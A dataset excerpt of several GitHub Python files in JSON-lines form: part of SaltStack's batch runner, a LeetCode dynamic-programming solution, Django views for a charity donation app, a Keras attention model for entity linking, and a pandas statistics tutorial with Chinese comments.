__update_wait(self, wait):\n now = datetime.now()\n i = 0\n while i < len(wait) and wait[i] <= now:\n i += 1\n if i:\n del wait[:i]\n\n def run(self):\n \"\"\"\n Execute the batch run\n \"\"\"\n self.minions, self.ping_gen, self.down_minions = self.gather_minions()\n args = [\n [],\n self.opts[\"fun\"],\n self.opts[\"arg\"],\n self.opts[\"timeout\"],\n \"list\",\n ]\n bnum = self.get_bnum()\n # No targets to run\n if not self.minions:\n return\n to_run = copy.deepcopy(self.minions)\n active = []\n ret = {}\n iters = []\n # wait the specified time before decide a job is actually done\n bwait = self.opts.get(\"batch_wait\", 0)\n wait = []\n\n if self.options:\n show_jid = self.options.show_jid\n show_verbose = self.options.verbose\n else:\n show_jid = False\n show_verbose = False\n\n # the minion tracker keeps track of responses and iterators\n # - it removes finished iterators from iters[]\n # - if a previously detected minion does not respond, its\n # added with an empty answer to ret{} once the timeout is reached\n # - unresponsive minions are removed from active[] to make\n # sure that the main while loop finishes even with unresp minions\n minion_tracker = {}\n\n if not self.quiet:\n # We already know some minions didn't respond to the ping, so inform\n # the user we won't be attempting to run a job on them\n for down_minion in self.down_minions:\n salt.utils.stringutils.print_cli(\n \"Minion {} did not respond. No job will be sent.\".format(\n down_minion\n )\n )\n\n # Iterate while we still have things to execute\n while len(ret) < len(self.minions):\n next_ = []\n if bwait and wait:\n self.__update_wait(wait)\n if len(to_run) <= bnum - len(wait) and not active:\n # last bit of them, add them all to next iterator\n while to_run:\n next_.append(to_run.pop())\n else:\n for i in range(bnum - len(active) - len(wait)):\n if to_run:\n minion_id = to_run.pop()\n if isinstance(minion_id, dict):\n next_.append(next(iter(minion_id)))\n else:\n next_.append(minion_id)\n\n active += next_\n args[0] = next_\n\n if next_:\n if not self.quiet:\n salt.utils.stringutils.print_cli(\n \"\\nExecuting run on {}\\n\".format(sorted(next_))\n )\n # create a new iterator for this batch of minions\n return_value = self.opts.get(\"return\", self.opts.get(\"ret\", \"\"))\n new_iter = self.local.cmd_iter_no_block(\n *args,\n raw=self.opts.get(\"raw\", False),\n ret=return_value,\n show_jid=show_jid,\n verbose=show_verbose,\n gather_job_timeout=self.opts[\"gather_job_timeout\"],\n **self.eauth,\n )\n # add it to our iterators and to the minion_tracker\n iters.append(new_iter)\n minion_tracker[new_iter] = {}\n # every iterator added is 'active' and has its set of minions\n minion_tracker[new_iter][\"minions\"] = next_\n minion_tracker[new_iter][\"active\"] = True\n\n else:\n time.sleep(0.02)\n parts = {}\n\n # see if we found more minions\n for ping_ret in self.ping_gen:\n if ping_ret is None:\n break\n m = next(iter(ping_ret.keys()))\n if m not in self.minions:\n self.minions.append(m)\n to_run.append(m)\n\n for queue in iters:\n try:\n # Gather returns until we get to the bottom\n ncnt = 0\n while True:\n part = next(queue)\n if part is None:\n time.sleep(0.01)\n ncnt += 1\n if ncnt > 5:\n break\n continue\n if self.opts.get(\"raw\"):\n parts.update({part[\"data\"][\"id\"]: part})\n if part[\"data\"][\"id\"] in minion_tracker[queue][\"minions\"]:\n minion_tracker[queue][\"minions\"].remove(\n part[\"data\"][\"id\"]\n )\n else:\n salt.utils.stringutils.print_cli(\n \"minion {} was already deleted from tracker,\"\n \" probably a duplicate key\".format(part[\"id\"])\n )\n else:\n parts.update(part)\n for id in part:\n if id in minion_tracker[queue][\"minions\"]:\n minion_tracker[queue][\"minions\"].remove(id)\n else:\n salt.utils.stringutils.print_cli(\n \"minion {} was already deleted from tracker,\"\n \" probably a duplicate key\".format(id)\n )\n except StopIteration:\n # if a iterator is done:\n # - set it to inactive\n # - add minions that have not responded to parts{}\n\n # check if the tracker contains the iterator\n if queue in minion_tracker:\n minion_tracker[queue][\"active\"] = False\n\n # add all minions that belong to this iterator and\n # that have not responded to parts{} with an empty response\n for minion in minion_tracker[queue][\"minions\"]:\n if minion not in parts:\n parts[minion] = {}\n parts[minion][\"ret\"] = {}\n\n for minion, data in parts.items():\n if minion in active:\n active.remove(minion)\n if bwait:\n wait.append(datetime.now() + timedelta(seconds=bwait))\n failhard = False\n\n # need to check if Minion failed to respond to job sent\n failed_check = data.get(\"failed\", False)\n if failed_check:\n log.debug(\n \"Minion '%s' failed to respond to job sent, data '%s'\",\n minion,\n data,\n )\n if not self.quiet:\n # We already know some minions didn't respond to the ping, so inform\n # inform user attempt to run a job failed\n salt.utils.stringutils.print_cli(\n \"Minion '%s' failed to respond to job sent\", minion\n )\n\n if self.opts.get(\"failhard\"):\n failhard = True\n else:\n # If we are executing multiple modules with the same cmd,\n # We use the highest retcode.\n retcode = 0\n if \"retcode\" in data:\n if isinstance(data[\"retcode\"], dict):\n try:\n data[\"retcode\"] = max(data[\"retcode\"].values())\n except ValueError:\n data[\"retcode\"] = 0\n if self.opts.get(\"failhard\") and data[\"retcode\"] > 0:\n failhard = True\n retcode = data[\"retcode\"]\n\n if self.opts.get(\"raw\"):\n ret[minion] = data\n yield data, retcode\n else:\n ret[minion] = data[\"ret\"]\n yield {minion: data[\"ret\"]}, retcode\n if not self.quiet:\n ret[minion] = data[\"ret\"]\n data[minion] = data.pop(\"ret\")\n if \"out\" in data:\n out = data.pop(\"out\")\n else:\n out = None\n salt.output.display_output(data, out, self.opts)\n\n if failhard:\n log.error(\n \"Minion %s returned with non-zero exit code. \"\n \"Batch run stopped due to failhard\",\n minion,\n )\n return\n\n # remove inactive iterators from the iters list\n for queue in minion_tracker:\n # only remove inactive queues\n if not minion_tracker[queue][\"active\"] and queue in iters:\n iters.remove(queue)\n # also remove the iterator's minions from the active list\n for minion in minion_tracker[queue][\"minions\"]:\n if minion in active:\n active.remove(minion)\n if bwait:\n wait.append(datetime.now() + timedelta(seconds=bwait))\n self.local.destroy()\n","repo_name":"saltstack/salt","sub_path":"salt/cli/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":13291,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"}
+{"seq_id":"38901340211","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 514.py\n# @Time : 2020/11/11 9:32 上午\n# @Author : Rivarrl\n# ======================================\nfrom algorithm_utils import *\n\nclass Solution:\n \"\"\"\n [514. 自由之路](https://leetcode-cn.com/problems/freedom-trail/)\n \"\"\"\n @timeit\n def findRotateSteps(self, ring: str, key: str) -> int:\n # dp[i][j] key第j字符在ring第i个字符停留时的最小值\n # dp[i][j] = min(min(abs(i-k), n-abs(i-k)) + dp[k][j-1] for k in range(n) if ring[k] == key[j-1])\n n, m = len(ring), len(key)\n dp = [[10001] * m for _ in range(n)]\n for j in range(m):\n for i in range(n):\n if ring[i] == key[j]:\n if j == 0:\n dp[i][0] = min(i, n - i)\n else:\n for k in range(n):\n if ring[k] == key[j - 1]:\n dp[i][j] = min(dp[i][j], min(abs(i-k), n-abs(i-k)) + dp[k][j-1])\n res = 10001\n for i in range(n):\n if key[-1] == ring[i]:\n res = min(res, dp[i][-1])\n return res + m\n\nif __name__ == '__main__':\n a = Solution()\n a.findRotateSteps(ring = \"godding\", key = \"gd\")\n a.findRotateSteps(\"edcba\", \"abcde\")","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/301-600/514.py","file_name":"514.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"35981151460","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import render, redirect\nfrom django.views import View\nfrom django.views.generic import FormView\n\nfrom .forms import CustomUserLoginForm, CustomUserRegisterForm\nfrom .models import Category, CustomUser, Donation, Institution\n\n\nclass LoginView(FormView):\n form_class = CustomUserLoginForm\n template_name = \"charity/login.html\"\n\n def form_valid(self, form):\n cd = form.cleaned_data\n email = cd['email']\n password = cd['password']\n user = authenticate(email=email, password=password)\n if user is not None:\n login(self.request, user)\n return redirect('landing_page')\n return redirect('login')\n\n\nclass RegisterView(FormView):\n form_class = CustomUserRegisterForm\n template_name = \"charity/register.html\"\n\n def form_valid(self, form):\n cd = form.cleaned_data\n email = cd['email']\n password = cd['password']\n name = cd['name']\n surname = cd['surname']\n CustomUser.objects.create_user(email=email, password=password, name=name, surname=surname)\n return redirect('login')\n\n\nclass LandingPageView(View):\n template_name = \"charity/index.html\"\n\n def get(self, request):\n current_user = request.user\n donations = Donation.objects.all()\n institutions = Institution.objects.all()\n quantity = 0\n list_of_donations = []\n for donation in donations:\n if donation.institution_id not in list_of_donations:\n list_of_donations.append(donation.institution_id)\n quantity += donation.quantity\n sum_of_institutions = len(list_of_donations)\n return render(request, self.template_name, {\"current_user\": current_user,\n \"quantity\": quantity,\n \"sum_of_institutions\": sum_of_institutions,\n \"institutions\": institutions})\n\n\nclass LogoutView(View):\n template_name = \"charity/index.html\"\n\n def get(self, request):\n logout(request)\n return render(request, self.template_name)\n\n\nclass AddDonationView(View):\n template_name = \"charity/form.html\"\n\n def get(self, request):\n current_user = request.user\n categories = Category.objects.all()\n institutions = Institution.objects.all()\n return render(request, self.template_name, {\"current_user\": current_user,\n \"categories\": categories,\n \"institutions\": institutions})\n\n def post(self, request):\n print(\">>>\")\n quantity = request.POST.get('quantity')\n category_id = request.POST.get('categories')\n organization_id = request.POST.get('organization')\n address = request.POST.get('address')\n phone = request.POST.get('phone')\n city = request.POST.get('city')\n postcode = request.POST.get('postcode')\n date = request.POST.get('date')\n time = request.POST.get('time')\n comments = request.POST.get('comments')\n category = Category.objects.get(id=category_id)\n organization = Institution.objects.get(id=organization_id)\n new_donation = Donation.objects.create(quantity=quantity, institution=organization, address=address,\n phone_number=phone, city=city, zip_code=postcode, pick_up_date=date,\n pick_up_time=time, pick_up_comment=comments)\n new_donation.categories.add(category)\n new_donation.save()\n return redirect('form-confirmation')\n\n\nclass ProfilView(View):\n template_name = \"charity/profil.html\"\n\n def get(self, request):\n current_user = request.user\n return render(request, self.template_name, {\"current_user\": current_user})\n\n\nclass FormConfirmationView(View):\n template_name = \"charity/form-confirmation.html\"\n\n def get(self, request):\n current_user = request.user\n return render(request, self.template_name, {\"current_user\": current_user})\n","repo_name":"MaciejSzulgacz/CharityApp","sub_path":"charity/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40907660566","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nimport keras\nfrom keras.layers import *\nfrom keras.models import Model\nfrom keras import backend as K\nimport fasttext\nimport numpy as np\nimport tensorflow as tf\nimport configparser\nimport sys\nimport pandas as pd\nfrom skmultilearn.problem_transform import LabelPowerset\nfrom imblearn.over_sampling import RandomOverSampler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nimport pickle\nimport time\nfrom attention import Attention\nfrom crossAttention import CrossAttention\n\ntf.get_logger().setLevel('ERROR')\n\n\n\nDATA_DIR = sys.argv[1]\nCONFIG_PATH = sys.argv[2]\n\nconfig = configparser.ConfigParser()\nconfig.read(CONFIG_PATH)\n\n\nDATASET_PATH = DATA_DIR + 'train pairs.tsv'\nPREDICTSET_PATH = DATA_DIR + 'unmatched pairs.tsv'\nFT_PATH = config.get('fasttext', 'location')\n# Model Metadata\nNUM_EPOCHS = config.getint('entity linking', 'epochs')\nTRAIN_VERBOSE = config.getint('entity linking', 'train_verbose')\nPREDICTION_THRESHOLD = config.getfloat('entity linking', 'prediction_threshold')\nDIM_ATTENTION = config.getint('entity linking', 'attention_dimension')\nDIM_LINEAR = config.getint('entity linking', 'linear_dimension')\n\nprint('entity linking with attention')\nprint('-loading fasttext model')\nprint(f'-from: {FT_PATH}')\n\nft_model = fasttext.load_model(FT_PATH)\nembedding_dim = 300\n\nprint('-loading data')\nprint(f'-from {DATASET_PATH}')\ndata = pd.read_csv(DATASET_PATH, delimiter='\\t')\ntags = data['tags'].astype(str)\nproperties = data['properties'].astype(str)\ny = data['match'].values\n\nstarttime = time.time()\n\n# tokenize osm tags\ntokenizer = tf.keras.preprocessing.text.Tokenizer()\ntokenizer.fit_on_texts(list(tags.values))\ntext_sequences = tokenizer.texts_to_sequences(list(tags.values))\n\n# tokenize wikidata properties\ntokenizerWiki = tf.keras.preprocessing.text.Tokenizer()\ntokenizerWiki.fit_on_texts(list(properties.values))\ntext_sequencesWiki = tokenizerWiki.texts_to_sequences(list(properties.values))\n\nnWords =int(max(reduce(lambda count, l: count + len(l), text_sequences, 0)/len(text_sequences), reduce(lambda count, l: count + len(l), text_sequencesWiki, 0)/len(text_sequencesWiki)))\n\n\ntext_sequences = tf.keras.preprocessing.sequence.pad_sequences(text_sequences, maxlen=nWords, padding='post')\nvocab_size = len(tokenizer.word_index) + 1\nX_osm = np.array(text_sequences)\n\nmax_length = X_osm.shape[1]\n\nweight_matrix = np.zeros((vocab_size, embedding_dim))\nfor word, i in tokenizer.word_index.items():\n try:\n embedding_vector = ft_model[word]\n weight_matrix[i] = embedding_vector\n except KeyError:\n weight_matrix[i] = np.random.uniform(0, 0, embedding_dim)\n\n\ntext_sequencesWiki = tf.keras.preprocessing.sequence.pad_sequences(text_sequencesWiki, maxlen=nWords, padding='post')\nvocab_sizeWiki = len(tokenizerWiki.word_index) + 1\nX_wiki = np.array(text_sequencesWiki)\n\nmax_lengthWiki = X_wiki.shape[1]\n\nweight_matrixWiki = np.zeros((vocab_sizeWiki, embedding_dim))\nfor word, i in tokenizerWiki.word_index.items():\n try:\n embedding_vector = ft_model[word]\n weight_matrixWiki[i] = embedding_vector\n except KeyError:\n weight_matrixWiki[i] = np.random.uniform(0, 0, embedding_dim)\n\ndef balance(x,y):\n # Import a dataset with X and multi-label y\n\n lp = LabelPowerset()\n ros = RandomOverSampler(random_state=42)\n\n # Applies the above stated multi-label (ML) to multi-class (MC) transformation.\n #yt = lp.transform(y)\n\n X_resampled, y_resampled = ros.fit_resample(x, y)\n # Inverts the ML-MC transformation to recreate the ML set\n #y_resampled = lp.inverse_transform(y_resampled)\n #y_resampled = y_resampled.toarray()\n return X_resampled, y_resampled\n\n\nx_dist = data['dist'].values\n\nX_osm_train, X_osm_test, y_osm_train, y_osm_test = train_test_split(X_osm, y, test_size=0.20, random_state=42)\nX_wiki_train, X_wiki_test, y_wiki_train, y_wiki_test = train_test_split(X_wiki, y, test_size=0.20, random_state=42)\nX_dist_train, X_dist_test, y_dist_train, y_dist_test = train_test_split(x_dist, y, test_size=0.20, random_state=42)\n\nX_osm_train, X_osm_val, y_osm_train, y_osm_val = train_test_split(X_osm_train, y_osm_train, test_size=0.10, random_state=42)\nX_wiki_train, X_wiki_val, y_wiki_train, y_wiki_val = train_test_split(X_wiki_train, y_wiki_train, test_size=0.10, random_state=42)\nX_dist_train, X_dist_val, y_dist_train, y_dist_val = train_test_split(X_dist_train, y_dist_train, test_size=0.10, random_state=42)\n\n\n# Note y_bal will be the same due to seeding\n#x_osm_bal, y_bal = balance(X_osm_train, y_osm_train)\n#x_wiki_bal, y_bal = balance(X_wiki_train, y_wiki_train)\n\n\n# ------- osm tags path ------------\nsentence_input = tf.keras.layers.Input(shape=(max_length,))\nx = tf.keras.layers.Embedding(vocab_size, embedding_dim, weights=[weight_matrix],\n input_length=max_length)(sentence_input)\nlstm = Bidirectional(LSTM(64, return_sequences = True), name=\"bi_lstm_0\")(x)\n\n\n#-----------Wikidata properties path --------------------\nsentence_inputWiki = tf.keras.layers.Input(shape=(max_lengthWiki,))\nxwiki = tf.keras.layers.Embedding(vocab_sizeWiki, embedding_dim, weights=[weight_matrixWiki],\n input_length=max_lengthWiki)(sentence_inputWiki)\n\n\nlstmwiki = Bidirectional(LSTM(64, return_sequences=True), name=\"bi_lstm_0wiki\")(xwiki)\n\n\ncross_att = CrossAttention(output_dim=64)([lstm, lstmwiki])\n\nself_att1 = MultiHeadAttention(num_heads=2, key_dim=32)(cross_att, cross_att)\nself_att1 = LayerNormalization()(self_att1)\nself_att1 = Concatenate()([cross_att, self_att1])\n\nlstm3 = Bidirectional(LSTM(32))(self_att1)\n\ncross_att2 = CrossAttention(output_dim=64)([lstmwiki, lstm])\n\nself_att2 = MultiHeadAttention(num_heads=2, key_dim=32)(cross_att2, cross_att2)\nself_att2 = LayerNormalization()(self_att2)\nself_att2 = Concatenate()([cross_att2, self_att2])\n\nlstm4 = Bidirectional(LSTM(32))(self_att2)\n\n\nsentence_input_dist = tf.keras.layers.Input(shape=(1,))\ndist = Dense(1, activation=\"relu\")(sentence_input_dist)\n# ------- combine ----------\nconcat = tf.keras.layers.concatenate([lstm3, lstm4, dist])\n\nconcat = Dense(50, activation=\"relu\")(concat)\n#dropout = Dropout(0.05)(dense1)\noutput = Dense(1, activation=\"sigmoid\")(concat)\n\nmodel = tf.keras.Model(inputs=[sentence_input, sentence_inputWiki, sentence_input_dist], outputs=output)\n\n\ndef recall_m(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n recall = true_positives / (possible_positives + K.epsilon())\n return recall\n\ndef precision_m(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n precision = true_positives / (predicted_positives + K.epsilon())\n return precision\n\ndef f1_m(y_true, y_pred):\n precision = precision_m(y_true, y_pred)\n recall = recall_m(y_true, y_pred)\n return 2*((precision*recall)/(precision+recall+K.epsilon()))\n\n\nMETRICS = [keras.metrics.Precision(name='precision'),\n keras.metrics.Recall(name='recall')]\n\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['acc',f1_m,precision_m, recall_m])\nmodel.summary()\nmodel.fit([X_osm_train, X_wiki_train, X_dist_train], y_osm_train, validation_data=([X_osm_val, X_wiki_val, X_dist_val], y_osm_val), batch_size=156, epochs=NUM_EPOCHS, shuffle=True, verbose=TRAIN_VERBOSE)\n\n#add confusion matrix\n\nprediction = model.predict([X_osm_test, X_wiki_test, X_dist_test])\nprediction = (prediction >= PREDICTION_THRESHOLD)\nruntime = time.time() - starttime\n\nwith open(f'{DATA_DIR}class_report.txt', 'w', encoding='utf-8') as file:\n report = metrics.classification_report(y_osm_test, prediction)\n file.write(f'Performance Attention Model:\\n')\n file.write(f'On Dataset: {DATASET_PATH}\\n')\n file.write(f\"runtime: {time.strftime('%H:%M:%S', time.gmtime(runtime))}\\n\")\n file.write(f\"for {NUM_EPOCHS} epochs\\n\\n\")\n file.write(report)\n print(report)\n\n# save model for possible later reuse\ndef save_object(model, name: str):\n FILENAME = f'{DATA_DIR}{name}.sav'\n with open(FILENAME, 'wb') as file:\n pickle.dump(model, file)\n\nmodel.save(DATA_DIR + 'keras model')\nsave_object(tokenizer, 'osm tokenizer')\nsave_object(tokenizerWiki, 'wikidata tokenizer')\n","repo_name":"alishiba14/IGEA","sub_path":"scripts/entityLinkingAttention.py","file_name":"entityLinkingAttention.py","file_ext":"py","file_size_in_byte":8353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"23873402411","text":"#-*- coding: utf-8 -*- \n\n######## 本文件实现基本的统计操作功能,包括:\n# 1.描述统计describe()\n# 2.分类计数value_counts()\n# 3.分段计数/分箱value_counts(bins)\n# 4.分类汇总\n# 4.1 分组groupby\n# 4.2 汇总方式:计数、求和、平均值...\n# 4.3 常用聚合函数\n# 5.透视表\n# 6.日期统计\n######################################################################\nimport pandas as pd\nimport numpy as np\n\n# 1.读取数据集\nfilename = '用户明细.csv'\ndf = pd.read_csv(filename)\nprint(df.columns.tolist())\n\n# 2.整理数据\ncol = '注册日期'\ndf[col] = df[col].astype('datetime64[ns]')\n\n################# 描述统计 ################\n\n# describe()返回描述信息,\n# 1)如果字段是数值型,则返回包括count,mean,std,min,25%,50%,75%,max共8个值\n# 其中count是非空值的个数,可以使用len(df) - count来识别有多少个空值\n# 2)如果字段是字符串型,则返回count,unique,top,freq共4个值\n# 3)如果字段是日期,则返回count,unique,top,freq,first,last共6个值\n\ndes = df['年龄'].describe()\nprint(des)\n\n\n#对于数值型变量,还可生成并计算新的字段:极差、变异系数、IQR四分位数\ncol = '年龄'\ndes = df[col].describe()\ndes.loc['range'] = des.loc['max']-des.loc['min'] #极差\ndes.loc['CV'] = des.loc['std']/des.loc['mean'] #变异系数\ndes.loc['IQR'] = des.loc['75%']-des.loc['25%'] #四分位数间距\n\ndes.loc['sum'] = df[col].sum() #求和\ndes.loc['var'] = df[col].var() #方差\ndes.loc['skew'] = df[col].skew() #偏度\ndes.loc['kurt'] = df[col].kurt() #峰度\nprint(des)\n\ndes = df['学历'].describe()\nprint(des)\n\ndes = df['注册日期'].describe()\nprint(des)\n\n# 描述统计\n#DataFrame.describe(percentiles=None, include=None, exclude=None)\n # percentiles : 百分比列表,默认为[.25, .5, .75]\n # include : ‘all’, list-like of dtypes or None (default), optional\n # 'all',表示所有的字段\n # 类型列表,如['int','categorical'],表示对指定数据类型的字段进行统计\n # None, 表示仅对数值字段进行统计\n # 注:对Series对象无效\n\n # exclude : list-like of dtypes or None (default), optional,\n # 黑名单,与include取值类似\n \n################# 分类计数 (类别变量)################\n# 分类计数, 返回计数\nsr = df['性别'].value_counts()\n\n# 返回百分比\nsr = df['学历'].value_counts(normalize=True)\n\n# 相关函数\n # 唯一值计数\n # Series.value_counts(normalize=False, sort=True, ascending=False, \n # bins=None, dropna=True)\n # normalize : boolean, 默认False返回计数;True则返回占比\n # sort : boolean, default True,默认按值排序\n # ascending : boolean, default False,默认降序排列\n # bins : integer, optional\n # Rather than count values, group them into half-open bins, \n # a convenience for pd.cut, only works with numeric data.\n # dropna : boolean, default True,不包含空值的计数。\n\n################# 分箱计数/分段计数 (数值变量)################\n\n# 对数值型变量分段统计\nsr = df['年龄'].value_counts(bins=10, sort=False)\nprint(sr)\nsr = df['年龄'].value_counts(bins=10, normalize=True, sort=False)\nprint(sr)\n\n# 因为value_counts会默认按值排序,\n# 所以需要指定sort=False参数,保持索引的顺序性\n\n################# 分类汇总 ################\n# 用户明细,是以utf-8编码,以\\t分隔\nfilename = '订购明细.csv'\ndf = pd.read_csv(filename, sep='\\t')\nprint(df.columns.tolist())\n\ncol = '订购日期'\ndf[col] = df[col].astype('datetime64[ns]')\n\n# 1.先分组\n\n# 单类别分组\ncol = '产品'\ngrouped = df.groupby(col)\n\n# 2、分组访问\n# 1)遍历分组\n# name是前面’产品‘列的取值,或者元组(如果是多列)\n# group是DF对象\nfor name, group in grouped:\n print(name) \n print('\\t行数:',len(group))\n\n# 2)选择其中某一个分组\ndf2 = grouped.get_group('产品A')\n\n# 3、分类汇总、分组统计\navgCol = '数量'\nsr = grouped[avgCol].sum() #按产品求销量\n# 类似函数,first,last,sum,mean,std,count,size等\n\n# 4、使用numpy统计函数库\nsr = grouped[avgCol].agg(np.sum)\n\n#一次完成多个计算\ndf2 = grouped[avgCol].agg([np.sum, np.mean, np.std])\n\n# # 5、多类别分组\n# cols = ['省份', '性别']\n# grouped = df.groupby(cols)\n\n# # 访问某个组的数据集\n# dfgdF = grouped.get_group(('广东','女'))\n\n# sr = grouped['年龄'].mean() #求不同组的平均年龄\n# sr = grouped['年龄'].agg(np.sum)\n# df2 = grouped['年龄'].agg([np.max, np.mean, np.min]) \n# df2 = grouped.agg({'省份':np.size, '年龄':np.sum}) # 不同的列,进行不同的统计\n# sr = df2.loc[('广东','男')]\n\n\n# 常用聚合函数\n # sum, mean, count, max, min, std, var, sem(标准误差)\n\n\n# DataFrame.groupby\n # (by=None, axis=0, level=None, as_index=True, \n # sort=True, group_keys=True, squeeze=False, observed=False, **kwargs)\n\n # 聚合函数:mean, sum, min, max,,std,var,first,last,\n # sem(组均方差),describe(描述统计),nth(第N个值)\n # size(组大小),count(各列的组大小)\n # 注意:上述函数排除空值\n\n################# 透视表(交叉表) ################\n# 注意:values指定的字段必须是数值型的\nfilename = '用户明细.csv'\ndf = pd.read_csv(filename)\n\n# 二维交叉表,按省份+性别-->人数\ndfpivot = pd.pivot_table(df, \n index='省份', \n columns='性别',\n values='用户ID',\n aggfunc='count')\n\n# 横向合计\ndfpivot['sum'] = dfpivot.sum(axis=1)\n\n# 纵向合计\ndfpivot.loc['sum'] = dfpivot.sum(axis=0)\n\n# pandas.pivot_table\n # (data, values=None, index=None, columns=None, \n # aggfunc='mean', fill_value=None, margins=False, \n # dropna=True, margins_name='All', observed=False)\n # 参数说明:透视表\n # data : DataFrame\n # values : 要汇总的列\n # index : column, Grouper, array, or list of the previous\n # If an array is passed, it must be the same length as the data. \n # The list can contain any of the other types (except list). \n # Keys to group by on the pivot table index. \n # If an array is passed, it is being used as the same manner as column values.\n # columns : column, Grouper, array, or list of the previous\n # If an array is passed, it must be the same length as the data. \n # The list can contain any of the other types (except list). \n # Keys to group by on the pivot table column. \n # If an array is passed, it is being used as the same manner as column values.\n # aggfunc : 函数,函数列表,字典。默认是numpy.mean\n # 如果是函数列表,则透视表的标题为函数名称\n # 如果是字典,则key是要汇总的列,而value是函数或函数列表\n # fill_value : scalar, default None\n # 缺失值的填充值。\n # margins : boolean, default False\n # Add all row / columns (e.g. for subtotal / grand totals)\n # dropna : boolean, default True\n # Do not include columns whose entries are all NaN\n # margins_name : string, default ‘All’\n # Name of the row / column that will contain the totals when margins is True.\n # observed : boolean, default False\n # This only applies if any of the groupers are Categoricals. \n # If True: only show observed values for categorical groupers. \n # If False: show all values for categorical groupers.\n\n################# 日期分类 ################\n\nfilename = '订购明细.csv'\ndf = pd.read_csv(filename, sep='\\t')\n\n# 确保数据类型正确\ncol = '订购日期'\ndf[col] = df[col].astype('datetime64[ns]')\nprint(df.dtypes)\n\n# 1.提取时间段,年、月、日\nsr = df[col].dt.year \nsr = df[col].dt.quarter\nsr = df[col].dt.month\nsr = df[col].dt.day\nsr = df[col].dt.week\nsr = df[col].dt.hour\nsr = df[col].dt.minute\nsr = df[col].dt.second\nsr = df[col].dt.date\n\n# 其余属性描述Property\tDescription\n # year\tThe year of the datetime\n # month\tThe month of the datetime\n # day\tThe days of the datetime\n # hour\tThe hour of the datetime\n # minute\tThe minutes of the datetime\n # second\tThe seconds of the datetime\n # microsecond\tThe microseconds of the datetime\n # nanosecond\tThe nanoseconds of the datetime\n # date\tReturns datetime.date\n # time\tReturns datetime.time\n # dayofyear\tThe ordinal day of year\n # weekofyear\tThe week ordinal of the year\n # week\tThe week ordinal of the year\n # dayofweek\tThe numer of the day of the week with Monday=0, Sunday=6\n # weekday\tThe number of the day of the week with Monday=0, Sunday=6\n # weekday_name\tThe name of the day in a week (ex: Friday)\n # quarter\tQuarter of the date: Jan=Mar = 1, Apr-Jun = 2, etc.\n # days_in_month\tThe number of days in the month of the datetime\n # is_month_start\tLogical indicating if first day of month (defined by frequency)\n # is_month_end\tLogical indicating if last day of month (defined by frequency)\n # is_quarter_start\tLogical indicating if first day of quarter (defined by frequency)\n # is_quarter_end\tLogical indicating if last day of quarter (defined by frequency)\n # is_year_start\tLogical indicating if first day of year (defined by frequency)\n # is_year_end\tLogical indicating if last day of year (defined by frequency)\n\n# 2.将索引按照指定格式显示\n\n# 确保标签索引是日期型\ndf.set_index(col,inplace=True)\n# df.index = df[col] #赋值也可以\n\n# A或Y年,Q季度,M月,D日,H时,T分,S秒\ndf2 = df.to_period('D')\nprint(df2.head())\n\n# 3.按日期统计注册人数\nvalCol = '用户ID'\nsr = df[valCol].resample('Y').count() #按年统计\nprint(sr)\n\nsr = df[valCol].resample('Y').count().to_period('Y')\nprint(sr)\n\nsr = df[valCol].resample('Q').count().to_period('Q')\nsr = df[valCol].resample('M').count().to_period('M')\nsr = df[valCol].resample('D').count().to_period('D')\nsr = df[valCol].resample('5Min').count().to_period('5Min')\nprint(sr)\n\n# 3.筛选日期数据\n\nfilename = '用户明细.csv'\ndf = pd.read_csv(filename)\n\n# 确保数据类型正确\ncol = '注册日期'\ndf[col] = df[col].astype('datetime64[ns]')\nprint(df.dtypes)\n\n# 确保标签索引是日期型\n# df.set_index(col,inplace=True)\ndf.index = df[col]\n\n#按年筛选\ndf2 = df['2011']\ndf2 = df['2011':'2015']\n\n#按月、日筛选\ndf2 = df['2011-9'] \ndf2 = df['2011-8':'2012-3']\ndf2 = df['2011-8-1':'2011-9-1']\ndf2 = df['2011-07-01':'2011-08']\n\n\ndf2 = df[:'2011-02-1'] #2.1号之前(包含)的数据\ndf2 = df['2011-09-1':] #9.1号之后(包含)\n\n# 关于日期描述字符. \n # 下面中的简写C-custom, B-business,\n # B business day\n # C custom business day\n ######### 年份\n # A year end\n # BA business year end\n # AS year start\n # BAS business year start\n ######### 季节\n # Q quarter end\n # BQ business quarter end\n # QS quarter start\n # BQS business quarter start\n ######### 月份\n # M month end\n # BM business month end \n # CBM custom business month end\n # MS month start\n ######### 半月份\n # SMS semi-month start\n # SM semi-month end(15th and end of month)\n # BMS custom business start\n # CBMS custom business month start\n ######### 周\n # W weekly\n ######### 日\n # D calendar day\n ######### 小时\n # BH business hour\n # H hourly \n ######### 分钟\n # T,min minutely\n ######### 秒\n # S secondly\n ######### 毫秒\n # L,ms microseconds\n ######### 微秒\n # N nanoseconds\n\n","repo_name":"fuyihang/DataAnalysis","sub_path":"12 统计操作.py","file_name":"12 统计操作.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
